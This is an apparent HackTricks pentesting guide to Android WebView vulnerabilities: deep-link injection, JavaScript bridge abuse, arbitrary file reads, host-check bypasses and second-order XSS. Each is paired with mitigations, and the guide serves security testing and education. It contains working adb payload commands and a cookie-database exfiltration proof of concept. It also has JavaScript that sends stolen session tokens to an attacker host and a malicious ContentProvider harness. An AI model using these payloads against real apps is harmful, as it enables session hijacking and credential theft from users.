// HackTricks · Mobile

Webview Attacks

Webview Attacks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.

WebView Example

File Access in WebViews

By default, WebViews permit file access. This functionality is controlled by the setAllowFileAccess() method, available since Android API level 3 (Cupcake 1.5). Applications with the android.permission.READ_EXTERNAL_STORAGE permission can read files from external storage using a file URL scheme (file://path/to/file).[1]

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (false) for apps targeting Android Jelly Bean and newer.
    • To check this setting, use getAllowUniversalAccessFromFileURLs().
    • To modify this setting, use setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
    • Use getAllowFileAccessFromFileURLs() to check and setAllowFileAccessFromFileURLs(boolean) to set.[1]

Secure File Loading

For disabling file system access while still accessing assets and resources, the setAllowFileAccess() method is used. With Android R and above, the default setting is false.

  • Check with getAllowFileAccess().
  • Enable or disable with setAllowFileAccess(boolean).

WebViewAssetLoader

The WebViewAssetLoader class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.[1]

loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

webview.loadUrl("<url here>")

Ofc, a potential attacker should never be able to control the URL that an application is going to load.

Deep-linking into internal WebView (custom scheme → WebView sink)

Many apps register custom schemes/paths that route a user-supplied URL into an in-app WebView. If the deep link is exported (VIEW + BROWSABLE), an attacker can force the app to render arbitrary remote content inside its WebView context.[4]

Typical manifest pattern (simplified):

<activity android:name=".MainActivity" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="myscheme" android:host="com.example.app" />
  </intent-filter>
</activity>

Common code flow (simplified):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
    Uri deeplink = intent.getData();
    String url = deeplink.getQueryParameter("url"); // attacker-controlled
    if (deeplink.getPathSegments().get(0).equals("web")) {
        Intent i = new Intent(this, WebActivity.class);
        i.putExtra("url", url);
        startActivity(i);
    }
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Attack pattern and PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: the remote page runs in the app WebView context (cookies/session of the app WebView profile, access to any exposed @JavascriptInterface, potential access to content:// and file:// depending on settings).

Hunting tips:

  • Grep decompiled sources for getQueryParameter("url"), loadUrl(, WebView sinks, and deep-link handlers (onCreate/onNewIntent).
  • Review the manifest for VIEW+BROWSABLE filters and custom schemes/hosts that map to activities that later start a WebView.
  • Check if there are multiple deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) and prefer the one that renders inside the app.

Enabling JavaScript before verification (order-of-checks bug)

A frequent hardening mistake is enabling JavaScript or configuring relaxed WebView settings before the final allowlist/verification of the target URL completes. If the verification is inconsistent across helpers or happens too late, an attacker deep link can reach a state where:[6][7][8]

  1. WebView settings apply (e.g., setJavaScriptEnabled(true)), and
  2. The untrusted URL is loaded with JavaScript enabled.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Why it’s exploitable[6][7]

  • Inconsistent normalization: helpers split/rebuild the URL differently than the final check, creating mismatches a malicious URL can exploit.
  • Misordered pipeline: enabling JS in step 2 applies globally to the WebView instance, affecting the final load even if verification would later fail.

How to test

  • Craft deep-link payloads that pass early checks and reach the WebView configuration site.
  • Use adb to fire implicit VIEW intents delivering a url= parameter controlled by you:
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

If exploitation succeeds, your payload executes JavaScript in the app’s WebView. From there, probe for exposed bridges:

<script>
for (let k in window) {
  try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

  • Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
  • Only call setJavaScriptEnabled(true) after all allowlist checks pass and just before loading trusted content.
  • Avoid exposing @JavascriptInterface to untrusted origins; prefer per-origin gating.
  • Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.

JavaScript and Intent Scheme Handling

  • JavaScript: Disabled by default in WebViews, it can be enabled via setJavaScriptEnabled(). Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
  • Intent Scheme: WebViews can handle the intent scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter “support_url” that could be exploited to execute cross-site scripting (XSS) attacks.

Vulnerable WebView

Exploitation example using adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

A feature is provided by Android that enables JavaScript in a WebView to invoke native Android app functions. This is achieved by utilizing the addJavascriptInterface method, which integrates JavaScript with native Android functionalities, termed as a WebView JavaScript bridge. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.[5]

  • Extreme caution is required for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.[3]

Implementing a JavaScript Bridge

  • JavaScript interfaces can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
@JavascriptInterface
public String getSecret() {
    return "SuperSecretPassword";
};
  • JavaScript Bridge is enabled by adding an interface to the WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
<script>
  alert(javascriptBridge.getSecret())
</script>
  • To mitigate risks, restrict JavaScript bridge usage to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

A common pattern is a single exported method (e.g., @JavascriptInterface void invokeMethod(String json)) that deserializes attacker-controlled JSON into a generic object and dispatches based on a provided handler name. Typical JSON shape:[10]

{
  "handlerName": "toBase64",
  "callbackId": "cb_12345",
  "asyncExecute": "true",
  "data": { /* handler-specific fields */ }
}

Risk: if any registered handler performs privileged actions on attacker data (e.g., direct file reads), you can call it by setting handlerName accordingly. Results are usually posted back into the page context via evaluateJavascript and a callback/promise mechanism keyed by callbackId.[10]

Key hunting steps[10]

  • Decompile and grep for addJavascriptInterface( to learn the bridge object name (e.g., xbridge).
  • In Chrome DevTools (chrome://inspect), type the bridge object name in the Console (e.g., xbridge) to enumerate exposed fields/methods; look for a generic dispatcher like invokeMethod.
  • Enumerate handlers by searching for classes implementing getModuleName() or registration maps.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).[10]

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
  _handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
  handlerName: 'toBase64',
  callbackId: 'cb_' + Date.now(),
  data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes[10]

  • Cookie DB paths vary across devices/providers. Common ones:
    • file:///data/data/<pkg>/app_webview/Default/Cookies
    • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips[10]

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:[10]

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
    if (!".trusted.com".endsWith(host)) {
        z = false;
    }
}
// z==true → open privileged WebView

Equivalent logic (De Morgan’s):

boolean z = host.endsWith(".trusted.com") || 
            ".trusted.com".endsWith(host);

This is not an origin check. Many unintended hosts satisfy the second clause, letting untrusted domains into the privileged Activity. Always verify scheme and host against a strict allowlist (exact match or a correct subdomain check with dot-boundaries), not endsWith tricks.[10]

javascript:// execution primitive via loadUrl

Once inside a privileged WebView, apps sometimes execute inline JS via:[10]

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:[10]

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Try to reach those code paths after forcing navigation to the privileged WebView (e.g., via a permissive deep link chooser).
  • Use the primitive to call the dispatcher (xbridge.invokeMethod(...)) and reach sensitive handlers.

Mitigations (developer checklist)[10]

  • Strict origin verification for privileged Activities: canonicalize and compare scheme/host against an explicit allowlist; avoid endsWith-based checks. Consider Digital Asset Links when applicable.
  • Scope bridges to trusted pages only and re-check trust on every call (per-call authorization).
  • Remove or tightly guard filesystem-capable handlers; prefer content:// with allowlists/permissions over raw file:// paths.
  • Avoid loadUrl("javascript:") in privileged contexts or gate it behind strong checks.
  • Remember setAllowFileAccess(false) doesn’t protect against native file reads via the bridge.

JSB enumeration and debugging tips

  • Enable WebView remote debugging to use Chrome DevTools Console:
    • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
    • System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging[11][12]
  • In DevTools, type the bridge object name (e.g., xbridge) to see exposed members and probe the dispatcher.[10]

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

  • Remote debugging is possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.

Enabling Remote Debugging

  • Remote debugging can be enabled for all WebViews within an application by:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}
  • To conditionally enable debugging based on the application’s debuggable state:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:[2]
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    alert(xhr.responseText)
  }
}
xhr.open(
  "GET",
  "file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
  true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

A frequent vulnerability is reading attacker-controlled data from an incoming Intent extra and injecting it directly into a WebView via loadData() with JavaScript enabled.[9]

Vulnerable pattern (exported Activity reads extra and renders it as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

If that Activity is exported (or reachable through an exported proxy), a malicious app can supply HTML/JS in the data extra to achieve reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impact

  • Arbitrary JS in the app’s WebView context: enumerate/use @JavascriptInterface bridges, access WebView cookies/local storage, pivot to file:// or content:// depending on settings.

Mitigations

  • Treat all Intent-derived inputs as untrusted. Escape (Html.escapeHtml) or reject HTML; prefer rendering untrusted text as text, not HTML.
  • Keep JavaScript disabled unless strictly required; do not enable WebChromeClient for untrusted content.
  • If you must render templated HTML, use loadDataWithBaseURL() with a safe base and CSP; separate trusted/untrusted WebViews.
  • Avoid exposing the Activity externally or protect it with permissions when not needed.

Related

Second-order WebView XSS through ContentProvider metadata

Do not limit WebView source tracing to intent extras or file bytes. A receiving app may query an attacker-owned content:// URI, retain OpenableColumns.DISPLAY_NAME, and only render that name later in a dialog. If the dialog interpolates the stored value into innerHTML, a harmless virtual file name such as <img src=x onerror='PAYLOAD'> becomes second-order XSS inside the app’s existing WebView document. This pattern was reported in Acode: its deleted-file path inserted file.filename into an alert message whose renderer used innerHTML.[16][17][18][19]

The important audit path is metadata source → persistent state → lifecycle/error path → HTML sink, rather than only source → sink in one call.[16][19]

provider query() -> DISPLAY_NAME -> stored filename
    -> resource later becomes unreadable/missing
    -> resume/refresh/error handler
    -> localized message interpolation
    -> innerHTML / outerHTML / insertAdjacentHTML
    -> event-handler JavaScript

Search hybrid-app JavaScript for both the sinks and the delayed triggers, then trace filename, title, label, MIME, and URI-derived fields backwards.[17][18][19]

grep -RniE 'innerHTML|outerHTML|insertAdjacentHTML' assets/www src
grep -RniE 'DISPLAY_NAME|filename|displayName|getLastPathSegment' assets/www src
grep -RniE 'resume|onResume|visibilitychange|refresh|exists|deleted' assets/www src

Stateful virtual-file harness

A malicious provider is useful for testing because DISPLAY_NAME supplies a human-readable name independently of the file bytes, while ParcelFileDescriptor.createPipe() returns a read end and a write end that can serve content entirely from memory.[20][21] The core provider logic can switch from a valid resource to a missing one on demand:[19]

Minimal stateful ContentProvider methods
static volatile boolean gone = false;

public String getType(Uri uri) {
    return gone ? null : "text/plain";
}
public Cursor query(Uri uri, String[] projection, String s,
                    String[] args, String order) {
    if (gone) return null;
    String[] cols = projection != null ? projection :
        new String[]{OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE};
    MatrixCursor c = new MatrixCursor(cols);
    MatrixCursor.RowBuilder row = c.newRow();
    for (String col : cols)
        row.add(col, OpenableColumns.DISPLAY_NAME.equals(col) ?
            "<img src=x onerror='PAYLOAD'>" :
            OpenableColumns.SIZE.equals(col) ? 4 : null);
    return c;
}
public ParcelFileDescriptor openFile(Uri uri, String mode)
        throws FileNotFoundException {
    if (gone) throw new FileNotFoundException();
    try {
        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
        new Thread(() -> {
            try (OutputStream out =
                     new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1])) {
                out.write("test".getBytes(StandardCharsets.UTF_8));
            } catch (IOException ignored) {}
        }).start();
        return pipe[0];
    } catch (IOException e) {
        throw new FileNotFoundException(e.getMessage());
    }
}

Deliver the URI to an exported VIEW/EDIT/SEND file handler, explicitly select the target component when testing, and grant only the URI access needed for the import. After the target has stored the metadata, either toggle the provider into its missing state or revoke the temporary URI grant. Bring the existing target Activity forward to reach resume-dependent checks; Cordova emits resume when the platform returns the application from the background.[16][19][22]

Uri u = Uri.parse("content://com.attacker.files/poc.txt");
Intent open = new Intent(Intent.ACTION_EDIT)
    .setDataAndType(u, "text/plain")
    .setComponent(new ComponentName("com.target", "com.target.MainActivity"))
    .addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(open);

// After the target opened the URI:
gone = true; // or revokeUriPermission(u, Intent.FLAG_GRANT_READ_URI_PERMISSION)
Intent resume = new Intent().setComponent(open.getComponent())
    .addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT |
              Intent.FLAG_ACTIVITY_SINGLE_TOP);
startActivity(resume);

Treat REORDER_TO_FRONT as a lifecycle aid, not a guarantee: confirm with logs or an attached debugger that the intended onResume()/Cordova resume handler actually ran and that the existing editor state was reused.[19][22]

Keeping the privileged document alive

Navigating with window.location destroys the current hybrid-app document. If XSS must keep its Cordova/application globals, fetched HTML can instead replace the current DOM. Scripts parsed through innerHTML are normally inert in this workflow, so recreate the imported <script> nodes to execute them in the live document.[19]

fetch("https://attacker.example/ui").then(r => r.text()).then(html => {
  const remote = new DOMParser().parseFromString(html, "text/html");
  document.documentElement.innerHTML = remote.documentElement.innerHTML;
  document.querySelectorAll("script").forEach(old => {
    const fresh = document.createElement("script");
    for (const a of old.attributes) fresh.setAttribute(a.name, a.value);
    fresh.textContent = old.textContent;
    old.replaceWith(fresh);
  });
});

Whether this pivot works depends on CSP, network policy, origin restrictions, and bridge configuration. Its security impact comes from retaining the original JavaScript world: injected code should enumerate window.cordova, app-specific globals, and exposed native/plugin methods rather than assuming that WebView XSS automatically provides native code execution.[16][19]

Render untrusted metadata with textContent. If alerts must auto-link URLs, create validated text and anchor nodes with DOM APIs instead of converting the whole message into HTML; if HTML is an explicit feature, apply a strict sanitizer and keep privileged bridges unavailable to that renderer.[16][19]

Trusted-origin HTML/CRM content → bridge credential theft

A strict host allowlist on a WebView is not enough if the trusted origin itself renders attacker-influenceable HTML such as CRM banners, loyalty widgets, support chat content, or feature-flagged marketing fragments. A practical chain is:[13]

  1. An attacker can write a profile/CRM field using a public customer identifier or another weak authorization primitive.
  2. A first-party page requests banner/template JSON containing that field.
  3. The SDK renders the returned HTML with a sink such as innerHTML, outerHTML, or insertAdjacentHTML.
  4. The resulting stored XSS executes on the trusted origin already allowed to use the native bridge.
  5. JavaScript invokes a bridge action that returns a session credential.

Minimal sink pattern:

const banner = JSON.parse(resp)
container.innerHTML = banner.html

Hunting tips:[13]

  • Trace attacker-writable profile fields into banners, campaigns, dashboards, previews, and in-app loyalty content.
  • Check whether the backend/API authorizes profile reads or writes using a public identifier leaked in invite links, API responses, analytics calls, or app resources.
  • Remember that JSON escaping is not HTML escaping: after JSON.parse, <img src=x onerror=...> is live markup again.

Callback wrapping to steal credential-returning bridge results

Many bridges return data to the page through a global callback such as window.callWebView(...). If a bridge action returns a JWT/session token (refresh_jwt, getToken, getSession, etc.), preserve normal app behaviour by wrapping the callback, extracting the sensitive field, and then calling the original handler:[13]

const orig = window.callWebView;
window.callWebView = function (m) {
  const d = typeof m === 'string' ? JSON.parse(m) : m;
  if (d.action === 'refresh_jwt' && d.payload?.data)
    new Image().src = 'https://attacker/j?t=' + encodeURIComponent(d.payload.data);
  return orig.apply(this, arguments);
};
window.Android.postMessage(JSON.stringify({ action: 'refresh_jwt', payload: { old_jwt: '' } }));

new Image().src is a reliable exfiltration primitive because it only needs the browser/WebView to issue the request; it does not need response access.

Exported bridge-enabled Activities: scheme-only checks and getReferrer() are not auth

If an exported VIEW/BROWSABLE Activity forwards url= (or similar extras) into loadUrl() while the bridge stays attached, scheme-only validation is insufficient: the attacker still controls the host and path.[13] Activity.getReferrer() is also a weak guard for privileged WebViews. Android documents that getReferrer() returns Intent.EXTRA_REFERRER when present and explicitly warns that applications can spoof it.[14][15]

Browser-delivered trigger example:

<a href="intent://webdialog?url=https%3A%2F%2Ftrusted.example%2Frewards%3Fbanner%3Dweekly#Intent;scheme=app;package=com.victim;end">
  Open reward
</a>

Practical notes:[13]

  • Validate scheme + exact host before calling loadUrl(), not just the scheme.
  • Re-check trust after redirects/navigation and remove the bridge when leaving trusted origins.
  • To confirm token exfiltration really came from the in-app WebView, inspect the request for a ; wv WebView user-agent marker, the app package in X-Requested-With, and the expected first-party Referer.

References